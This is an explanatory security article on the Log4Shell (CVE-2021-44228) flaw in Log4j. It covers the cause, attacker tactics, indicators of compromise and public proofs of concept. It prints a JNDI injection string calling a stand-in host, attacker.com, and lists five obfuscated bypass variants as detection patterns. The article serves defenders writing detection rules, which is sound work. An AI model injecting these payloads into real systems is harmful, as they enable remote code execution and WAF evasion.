CVE-2021-44228 Vulnerability

The root cause of the CVE-2021-44228 vulnerability lies in how Log4j processes log messages. The library supported a feature called "message lookup substitution," which allowed certain strings in logs to be replaced with dynamically generated values. One of these lookup methods was the Java Naming and Directory Interface (JNDI).

Attackers found that they could craft a malicious string, like ${jndi:ldap://attacker.com/a}, and get it logged by a vulnerable application. When Log4j processed this log, it would interpret the JNDI lookup, connect to the attacker-controlled LDAP server, and download and execute a malicious Java class. This gives the attacker a foothold for remote code execution. Because applications log all sorts of user-provided data (like User-Agent headers or form submissions), creating a CVE-2021-44228 exploit was frighteningly simple.

Tactics, Techniques & Procedures (TTPs)

Threat actors went wild with this one. Initial TTPs involved widespread scanning to find vulnerable endpoints. Once an entry point was found, attackers used the CVE-2021-44228 exploit to drop ransomware, install cryptominers, steal credentials, and establish persistent backdoors for later access. Many nation-state actors and cybercrime groups quickly integrated Log4Shell into their playbooks, using it as the initial access vector for broader campaigns.

Indicators of Compromise

Detecting a Log4Shell attack involves looking for specific patterns in your logs. The most obvious CVE-2021-44228 vulnerability indicators of compromise (IOCs) are log entries containing the ${jndi:} string, especially with protocols like ldap, ldaps, or rmi. You should also monitor for suspicious outbound network connections from your application servers to unusual IP addresses or domains, as this could indicate a successful JNDI lookup callback.

Obfuscation bypass variants to detect: Attackers rapidly developed obfuscated JNDI strings to evade WAF rules and log-based string matching. Your detection rules should account for the following patterns in addition to the basic ${jndi:} string:

• ${${lower:j}ndi:ldap://attacker.com/a} — lowercase lookup bypass
${${::-j}${::-n}${::-d}${::-i}:ldap://attacker.com/a} — nested substitution bypass
• ${${upper:j}ndi:ldap://attacker.com/a} — uppercase variant
• ${j${::-n}di:ldap://attacker.com/a} — partial substitution bypass
• ${jndi:${lower:l}${lower:d}a${lower:p}://attacker.com/a} — protocol obfuscation

Detection rules matching only the literal string ${jndi:ldap will miss these. Use broader pattern matching on jndi combined with any URI protocol indicator, or deploy purpose-built Log4Shell detection signatures from CISA's advisory (AA21-356A).

Known Proof-of-Concepts & Exploits

Within hours of disclosure, multiple CVE-2021-44228 proof of concept (PoC) exploits became publicly available on platforms like GitHub. This dramatically lowered the barrier to entry, enabling even less-skilled attackers to leverage the flaw. The high exploitability led to mass exploitation campaigns by botnets like Mirai and Kinsing, which used Log4Shell to propagate and install malware. Security researchers also developed PoCs to help defenders test their own systems for vulnerabilities.